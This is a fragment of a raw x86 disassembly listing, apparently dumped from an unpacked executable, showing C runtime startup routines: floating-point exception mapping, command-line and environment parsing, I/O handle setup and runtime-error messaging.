; sub_41ED97+37j
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
loc_41EF3C: ; CODE XREF: sub_41ED97+120j
; sub_41ED97+166j ...
or eax, 0FFFFFFFFh
loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj
; sub_41ED97+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41ED97 endp
; =============== S U B R O U T I N E =======================================
sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p
; sub_419BBA+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4CD9B8, ecx
mov eax, offset dword_436100
loc_41EF55: ; CODE XREF: sub_41EF44+1Ej
cmp ecx, [eax]
jz short loc_41EF79
add eax, 8
inc edx
cmp eax, offset dword_436268
jl short loc_41EF55
cmp ecx, 13h
jb short loc_41EF86
cmp ecx, 24h
ja short loc_41EF86
mov dword_4CD9B4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41EF79: ; CODE XREF: sub_41EF44+13j
mov eax, dword_436104[edx*8]
mov dword_4CD9B4, eax
retn
; ---------------------------------------------------------------------------
loc_41EF86: ; CODE XREF: sub_41EF44+23j
; sub_41EF44+28j
cmp ecx, 0BCh
jb short loc_41EFA0
cmp ecx, 0CAh
mov dword_4CD9B4, 8
jbe short locret_41EFAA
loc_41EFA0: ; CODE XREF: sub_41EF44+48j
mov dword_4CD9B4, 16h
locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj
retn
sub_41EF44 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_41F0EC
test eax, eax
pop ecx
jz loc_41F0E0
mov ebx, [eax+8]
test ebx, ebx
jz loc_41F0E0
cmp ebx, 5
jnz short loc_41EFDC
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41F0E9
; ---------------------------------------------------------------------------
loc_41EFDC: ; CODE XREF: ___:0041EFCEj
cmp ebx, 1
jz loc_41F0DB
mov ecx, dword_4CDA68
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4CDA68, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41F0CB
mov ecx, dword_4362E0
mov edx, dword_4362E4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41F02B
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:436270h[esi*4]
loc_41F022: ; CODE XREF: ___:0041F029j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41F022
loc_41F02B: ; CODE XREF: ___:0041F014j
mov eax, [eax]
mov esi, dword_4362EC
cmp eax, 0C000008Eh
jnz short loc_41F046
mov dword_4362EC, 83h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F046: ; CODE XREF: ___:0041F038j
cmp eax, 0C0000090h
jnz short loc_41F059
mov dword_4362EC, 81h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F059: ; CODE XREF: ___:0041F04Bj
cmp eax, 0C0000091h
jnz short loc_41F06C
mov dword_4362EC, 84h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F06C: ; CODE XREF: ___:0041F05Ej
cmp eax, 0C0000093h
jnz short loc_41F07F
mov dword_4362EC, 85h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F07F: ; CODE XREF: ___:0041F071j
cmp eax, 0C000008Dh
jnz short loc_41F092
mov dword_4362EC, 82h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F092: ; CODE XREF: ___:0041F084j
cmp eax, 0C000008Fh
jnz short loc_41F0A5
mov dword_4362EC, 86h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F0A5: ; CODE XREF: ___:0041F097j
cmp eax, 0C0000092h
jnz short loc_41F0B6
mov dword_4362EC, 8Ah
loc_41F0B6: ; CODE XREF: ___:0041F044j
; ___:0041F057j ...
push dword_4362EC
push 8
call ebx
pop ecx
mov dword_4362EC, esi
pop ecx
pop esi
jmp short loc_41F0D3
; ---------------------------------------------------------------------------
loc_41F0CB: ; CODE XREF: ___:0041EFFDj
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41F0D3: ; CODE XREF: ___:0041F0C9j
mov eax, [ebp+8]
mov dword_4CDA68, eax
loc_41F0DB: ; CODE XREF: ___:0041EFDFj
or eax, 0FFFFFFFFh
jmp short loc_41F0E9
; ---------------------------------------------------------------------------
loc_41F0E0: ; CODE XREF: ___:0041EFBAj
; ___:0041EFC5j
push dword ptr [ebp+0Ch]
call near ptr 2610000h
nop
loc_41F0E9: ; CODE XREF: ___:0041EFD7j
; ___:0041F0DEj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4362E8
cmp dword_436268, edx
push esi
mov eax, offset dword_436268
jz short loc_41F119
lea esi, [ecx+ecx*2]
lea esi, ds:436268h[esi*4]
loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41F119
cmp [eax], edx
jnz short loc_41F10E
loc_41F119: ; CODE XREF: sub_41F0EC+16j
; sub_41F0EC+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:436268h[ecx*4]
cmp eax, ecx
jnb short loc_41F12C
cmp [eax], edx
jz short locret_41F12E
loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj
xor eax, eax
locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej
retn
sub_41F0EC endp
; ---------------------------------------------------------------------------
cmp dword_4CF034, 0
jnz short loc_41F13D
call sub_41ECF1
loc_41F13D: ; CODE XREF: ___:0041F136j
push esi
mov esi, dword_4CF02C
mov al, [esi]
cmp al, 22h
jnz short loc_41F16F
loc_41F14A: ; CODE XREF: ___:0041F162j
; ___:0041F165j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41F167
test al, al
jz short loc_41F167
movzx eax, al
push eax
call sub_42101D
test eax, eax
pop ecx
jz short loc_41F14A
inc esi
jmp short loc_41F14A
; ---------------------------------------------------------------------------
loc_41F167: ; CODE XREF: ___:0041F150j
; ___:0041F154j
cmp byte ptr [esi], 22h
jnz short loc_41F179
loc_41F16C: ; CODE XREF: ___:0041F181j
inc esi
jmp short loc_41F179
; ---------------------------------------------------------------------------
loc_41F16F: ; CODE XREF: ___:0041F148j
cmp al, 20h
jbe short loc_41F179
loc_41F173: ; CODE XREF: ___:0041F177j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41F173
loc_41F179: ; CODE XREF: ___:0041F16Aj
; ___:0041F16Dj ...
mov al, [esi]
test al, al
jz short loc_41F183
cmp al, 20h
jbe short loc_41F16C
loc_41F183: ; CODE XREF: ___:0041F17Dj
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4CF034, ebx
push esi
push edi
jnz short loc_41F199
call sub_41ECF1
loc_41F199: ; CODE XREF: ___:0041F192j
mov esi, dword_4CDA00
xor edi, edi
loc_41F1A1: ; CODE XREF: ___:0041F1B7j
mov al, [esi]
cmp al, bl
jz short loc_41F1B9
cmp al, 3Dh
jz short loc_41F1AC
inc edi
loc_41F1AC: ; CODE XREF: ___:0041F1A9j
push esi
call sub_417AB0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41F1A1
; ---------------------------------------------------------------------------
loc_41F1B9: ; CODE XREF: ___:0041F1A5j
lea eax, ds:4[edi*4]
push eax
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4CD9DC, esi
jnz short loc_41F1DB
push 9
call sub_419CDA
pop ecx
loc_41F1DB: ; CODE XREF: ___:0041F1D1j
mov edi, dword_4CDA00
cmp [edi], bl
jz short loc_41F21E
push ebp
loc_41F1E6: ; CODE XREF: ___:0041F21Bj
push edi
call sub_417AB0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41F217
push ebp
call sub_417B89
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41F20A
push 9
call sub_419CDA
pop ecx
loc_41F20A: ; CODE XREF: ___:0041F200j
push edi
push dword ptr [esi]
call sub_4179C0
pop ecx
add esi, 4
pop ecx
loc_41F217: ; CODE XREF: ___:0041F1F3j
add edi, ebp
cmp [edi], bl
jnz short loc_41F1E6
pop ebp
loc_41F21E: ; CODE XREF: ___:0041F1E3j
push dword_4CDA00
call sub_417C3B
pop ecx
mov dword_4CDA00, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4CF030, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4CF034, ebx
push esi
push edi
jnz short loc_41F257
call sub_41ECF1
loc_41F257: ; CODE XREF: ___:0041F250j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2670000h
mov eax, dword_4CF02C
mov off_4CD9EC, esi
mov edi, esi
cmp [eax], bl
jz short loc_41F27C
mov edi, eax
loc_41F27C: ; CODE XREF: ___:0041F278j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_41F2D9
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_417B89
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41F2AC
push 8
call sub_419CDA
pop ecx
loc_41F2AC: ; CODE XREF: ___:0041F2A2j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41F2D9
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4CD9D4, esi
pop edi
pop esi
mov dword_4CD9D0, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2D9 proc near ; CODE XREF: ___:0041F287p
; ___:0041F2BDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41F303
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F303: ; CODE XREF: sub_41F2D9+20j
cmp byte ptr [eax], 22h
jnz short loc_41F34C
loc_41F308: ; CODE XREF: sub_41F2D9+58j
; sub_41F2D9+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41F33A
test dl, dl
jz short loc_41F33A
movzx edx, dl
test byte_4CEF01[edx], 4
jz short loc_41F32D
inc dword ptr [ecx]
test esi, esi
jz short loc_41F32D
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41F32D: ; CODE XREF: sub_41F2D9+46j
; sub_41F2D9+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F308
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F308
; ---------------------------------------------------------------------------
loc_41F33A: ; CODE XREF: sub_41F2D9+36j
; sub_41F2D9+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F344
and byte ptr [esi], 0
inc esi
loc_41F344: ; CODE XREF: sub_41F2D9+65j
cmp byte ptr [eax], 22h
jnz short loc_41F38F
inc eax
jmp short loc_41F38F
; ---------------------------------------------------------------------------
loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj
; sub_41F2D9+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41F357
mov dl, [eax]
mov [esi], dl
inc esi
loc_41F357: ; CODE XREF: sub_41F2D9+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4CEF01[ebx], 4
jz short loc_41F372
inc dword ptr [ecx]
test esi, esi
jz short loc_41F371
mov bl, [eax]
mov [esi], bl
inc esi
loc_41F371: ; CODE XREF: sub_41F2D9+91j
inc eax
loc_41F372: ; CODE XREF: sub_41F2D9+8Bj
cmp dl, 20h
jz short loc_41F380
test dl, dl
jz short loc_41F384
cmp dl, 9
jnz short loc_41F34C
loc_41F380: ; CODE XREF: sub_41F2D9+9Cj
test dl, dl
jnz short loc_41F387
loc_41F384: ; CODE XREF: sub_41F2D9+A0j
dec eax
jmp short loc_41F38F
; ---------------------------------------------------------------------------
loc_41F387: ; CODE XREF: sub_41F2D9+A9j
test esi, esi
jz short loc_41F38F
and byte ptr [esi-1], 0
loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej
; sub_41F2D9+71j ...
and [ebp+arg_10], 0
loc_41F393: ; CODE XREF: sub_41F2D9+19Ej
cmp byte ptr [eax], 0
jz loc_41F47C
loc_41F39C: ; CODE XREF: sub_41F2D9+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41F3A8
cmp dl, 9
jnz short loc_41F3AB
loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j
inc eax
jmp short loc_41F39C
; ---------------------------------------------------------------------------
loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj
cmp byte ptr [eax], 0
jz loc_41F47C
test edi, edi
jz short loc_41F3C0
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41F3D7
inc eax
inc ebx
jmp short loc_41F3CE
; ---------------------------------------------------------------------------
loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j
cmp byte ptr [eax], 22h
jnz short loc_41F408
test bl, 1
jnz short loc_41F406
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41F3F5
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41F3F5
mov eax, edx
jmp short loc_41F3F8
; ---------------------------------------------------------------------------
loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj
; sub_41F2D9+116j
mov [ebp+arg_0], edi
loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41F406: ; CODE XREF: sub_41F2D9+106j
shr ebx, 1
loc_41F408: ; CODE XREF: sub_41F2D9+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41F41D
inc ebx
loc_41F410: ; CODE XREF: sub_41F2D9+142j
test esi, esi
jz short loc_41F418
mov byte ptr [esi], 5Ch
inc esi
loc_41F418: ; CODE XREF: sub_41F2D9+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41F410
loc_41F41D: ; CODE XREF: sub_41F2D9+134j
mov dl, [eax]
test dl, dl
jz short loc_41F46D
cmp [ebp+arg_10], 0
jnz short loc_41F433
cmp dl, 20h
jz short loc_41F46D
cmp dl, 9
jz short loc_41F46D
loc_41F433: ; CODE XREF: sub_41F2D9+14Ej
cmp [ebp+arg_0], 0
jz short loc_41F467
test esi, esi
jz short loc_41F456
movzx ebx, dl
test byte_4CEF01[ebx], 4
jz short loc_41F44F
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F465
; ---------------------------------------------------------------------------
loc_41F456: ; CODE XREF: sub_41F2D9+162j
movzx edx, dl
test byte_4CEF01[edx], 4
jz short loc_41F465
inc eax
inc dword ptr [ecx]
loc_41F465: ; CODE XREF: sub_41F2D9+17Bj
; sub_41F2D9+187j
inc dword ptr [ecx]
loc_41F467: ; CODE XREF: sub_41F2D9+15Ej
inc eax
jmp loc_41F3C5
; ---------------------------------------------------------------------------
loc_41F46D: ; CODE XREF: sub_41F2D9+148j
; sub_41F2D9+153j ...
test esi, esi
jz short loc_41F475
and byte ptr [esi], 0
inc esi
loc_41F475: ; CODE XREF: sub_41F2D9+196j
inc dword ptr [ecx]
jmp loc_41F393
; ---------------------------------------------------------------------------
loc_41F47C: ; CODE XREF: sub_41F2D9+BDj
; sub_41F2D9+D5j
test edi, edi
jz short loc_41F483
and dword ptr [edi], 0
loc_41F483: ; CODE XREF: sub_41F2D9+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41F2D9 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4CDB70
push ebx
push ebp
mov ebp, dword_42403C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41F4DB
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_41F4BC
mov dword_4CDB70, 1
jmp short loc_41F4E4
; ---------------------------------------------------------------------------
loc_41F4BC: ; CODE XREF: ___:0041F4AEj
nop
call near ptr 2600A97h
mov edi, eax
cmp edi, ebx
jz loc_41F5B6
mov dword_4CDB70, 2
jmp loc_41F56A
; ---------------------------------------------------------------------------
loc_41F4DB: ; CODE XREF: ___:0041F4A6j
cmp eax, 1
jnz loc_41F565
loc_41F4E4: ; CODE XREF: ___:0041F4BAj
cmp esi, ebx
jnz short loc_41F4F4
call ebp
mov esi, eax
cmp esi, ebx
jz loc_41F5B6
loc_41F4F4: ; CODE XREF: ___:0041F4E6j
cmp [esi], bx
mov eax, esi
jz short loc_41F509
loc_41F4FB: ; CODE XREF: ___:0041F500j
; ___:0041F507j
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F4FB
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F4FB
loc_41F509: ; CODE XREF: ___:0041F4F9j
sub eax, esi
mov edi, dword_424150
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_41F55A
push ebp
call sub_417B89
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_41F55A
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_41F556
push dword ptr [esp+10h]
call sub_417C3B
pop ecx
mov [esp+10h], ebx
loc_41F556: ; CODE XREF: ___:0041F546j
mov ebx, [esp+10h]
loc_41F55A: ; CODE XREF: ___:0041F526j
; ___:0041F535j
push esi
nop
call near ptr 2600D1Ch
mov eax, ebx
jmp short loc_41F5B8
; ---------------------------------------------------------------------------
loc_41F565: ; CODE XREF: ___:0041F4DEj
cmp eax, 2
jnz short loc_41F5B6
loc_41F56A: ; CODE XREF: ___:0041F4D6j
cmp edi, ebx
jnz short loc_41F57A
nop
call near ptr 2600A97h
mov edi, eax
cmp edi, ebx
jz short loc_41F5B6
loc_41F57A: ; CODE XREF: ___:0041F56Cj
cmp [edi], bl
mov eax, edi
jz short loc_41F58A
loc_41F580: ; CODE XREF: ___:0041F583j
; ___:0041F588j
inc eax
cmp [eax], bl
jnz short loc_41F580
inc eax
cmp [eax], bl
jnz short loc_41F580
loc_41F58A: ; CODE XREF: ___:0041F57Ej
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41F5A0
xor esi, esi
jmp short loc_41F5AB
; ---------------------------------------------------------------------------
loc_41F5A0: ; CODE XREF: ___:0041F59Aj
push ebp
push edi
push esi
call sub_417390
add esp, 0Ch
loc_41F5AB: ; CODE XREF: ___:0041F59Ej
push edi
nop
call near ptr 2600D4Ch
mov eax, esi
jmp short loc_41F5B8
; ---------------------------------------------------------------------------
loc_41F5B6: ; CODE XREF: ___:0041F4C6j
; ___:0041F4EEj ...
xor eax, eax
loc_41F5B8: ; CODE XREF: ___:0041F563j
; ___:0041F5B4j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41F5DF
push 1Bh
call sub_419CDA
pop ecx
loc_41F5DF: ; CODE XREF: ___:0041F5D5j
mov dword_4CECE0, esi
mov dword_4CEDE0, 20h
lea eax, [esi+100h]
loc_41F5F5: ; CODE XREF: ___:0041F611j
cmp esi, eax
jnb short loc_41F613
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4CECE0
add esi, 8
add eax, 100h
jmp short loc_41F5F5
; ---------------------------------------------------------------------------
loc_41F613: ; CODE XREF: ___:0041F5F7j
lea eax, [esp+10h]
push eax
call near ptr 2840000h
nop
cmp word ptr [esp+42h], 0
jz loc_41F6EF
mov eax, [esp+44h]
test eax, eax
jz loc_41F6EF
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41F649
mov esi, eax
loc_41F649: ; CODE XREF: ___:0041F645j
cmp dword_4CEDE0, esi
jge short loc_41F6A3
mov edi, offset dword_4CECE4
loc_41F656: ; CODE XREF: ___:0041F699j
push 100h
call sub_417B89
test eax, eax
pop ecx
jz short loc_41F69D
add dword_4CEDE0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41F674: ; CODE XREF: ___:0041F68Ej
cmp eax, ecx
jnb short loc_41F690
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41F674
; ---------------------------------------------------------------------------
loc_41F690: ; CODE XREF: ___:0041F676j
add edi, 4
cmp dword_4CEDE0, esi
jl short loc_41F656
jmp short loc_41F6A3
; ---------------------------------------------------------------------------
loc_41F69D: ; CODE XREF: ___:0041F663j
mov esi, dword_4CEDE0
loc_41F6A3: ; CODE XREF: ___:0041F64Fj
; ___:0041F69Bj
xor edi, edi
test esi, esi
jle short loc_41F6EF
loc_41F6A9: ; CODE XREF: ___:0041F6EDj
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41F6E6
mov cl, [ebp+0]
test cl, 1
jz short loc_41F6E6
test cl, 8
jnz short loc_41F6C8
push eax
nop
call near ptr 2600000h
test eax, eax
jz short loc_41F6E6
loc_41F6C8: ; CODE XREF: ___:0041F6BBj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4CECE0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41F6E6: ; CODE XREF: ___:0041F6AEj
; ___:0041F6B6j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41F6A9
loc_41F6EF: ; CODE XREF: ___:0041F624j
; ___:0041F630j ...
xor ebx, ebx
loc_41F6F1: ; CODE XREF: ___:0041F754j
mov eax, dword_4CECE0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41F74C
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41F70C
push 0FFFFFFF6h
pop eax
jmp short loc_41F716
; ---------------------------------------------------------------------------
loc_41F70C: ; CODE XREF: ___:0041F705j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41F716: ; CODE XREF: ___:0041F70Aj
push eax
nop
call near ptr 260078Ah
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41F73B
push edi
call near ptr 2600000h
nop
test eax, eax
jz short loc_41F73B
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41F741
loc_41F73B: ; CODE XREF: ___:0041F722j
; ___:0041F72Dj
or byte ptr [esi+4], 40h
jmp short loc_41F750
; ---------------------------------------------------------------------------
loc_41F741: ; CODE XREF: ___:0041F739j
cmp eax, 3
jnz short loc_41F750
or byte ptr [esi+4], 8
jmp short loc_41F750
; ---------------------------------------------------------------------------
loc_41F74C: ; CODE XREF: ___:0041F6FDj
or byte ptr [esi+4], 80h
loc_41F750: ; CODE XREF: ___:0041F73Fj
; ___:0041F744j ...
inc ebx
cmp ebx, 3
jl short loc_41F6F1
push dword_4CEDE0
nop
call near ptr 2600979h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao
; sub_41D120+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41F814
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41F7A7: ; CODE XREF: sub_41F774+90j
cmp esi, 0FFFFFFFFh
jz short loc_41F80D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41F7FB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41F7FB
js short loc_41F806
mov edi, [ebx+8]
push ebx
call sub_4181A0
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4181E2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_418276
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41F7FB: ; CODE XREF: sub_41F774+40j
; sub_41F774+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41F7A7
; ---------------------------------------------------------------------------
loc_41F806: ; CODE XREF: sub_41F774+54j
mov eax, 0
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F80D: ; CODE XREF: sub_41F774+36j
mov eax, 1
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F814: ; CODE XREF: sub_41F774+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4181E2
add esp, 8
pop ebp
mov eax, 1
loc_41F829: ; CODE XREF: sub_41F774+97j
; sub_41F774+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F774 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4181E2
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41F84C proc near ; CODE XREF: sub_419CDA+9p
mov eax, dword_4CDA08
cmp eax, 1
jz short loc_41F863
test eax, eax
jnz short locret_41F884
cmp dword_433C64, 1
jnz short locret_41F884
loc_41F863: ; CODE XREF: sub_41F84C+8j
push 0FCh
call sub_41F885
mov eax, dword_4CDB74
pop ecx
test eax, eax
jz short loc_41F879
call eax
loc_41F879: ; CODE XREF: sub_41F84C+29j
push 0FFh
call sub_41F885
pop ecx
locret_41F884: ; CODE XREF: sub_41F84C+Cj
; sub_41F84C+15j
retn
sub_41F84C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F885 proc near ; CODE XREF: sub_419CDA+12p
; sub_41F84C+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_4362F8
loc_41F898: ; CODE XREF: sub_41F885+20j
cmp edx, [eax]
jz short loc_41F8A7
add eax, 8
inc ecx
cmp eax, offset off_436388
jl short loc_41F898
loc_41F8A7: ; CODE XREF: sub_41F885+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_4362F8[esi]
jnz loc_41F9D5
mov eax, dword_4CDA08
cmp eax, 1
jz loc_41F9AF
test eax, eax
jnz short loc_41F8D8
cmp dword_433C64, 1
jz loc_41F9AF
loc_41F8D8: ; CODE XREF: sub_41F885+44j
cmp edx, 0FCh
jz loc_41F9D5
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2670000h
test eax, eax
jnz short loc_41F90F
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_4179C0
pop ecx
pop ecx
loc_41F90F: ; CODE XREF: sub_41F885+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_417AB0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41F952
lea eax, [ebp+var_1A4]
push eax
call sub_417AB0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_418C10
add esp, 10h
loc_41F952: ; CODE XREF: sub_41F885+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_4179C0
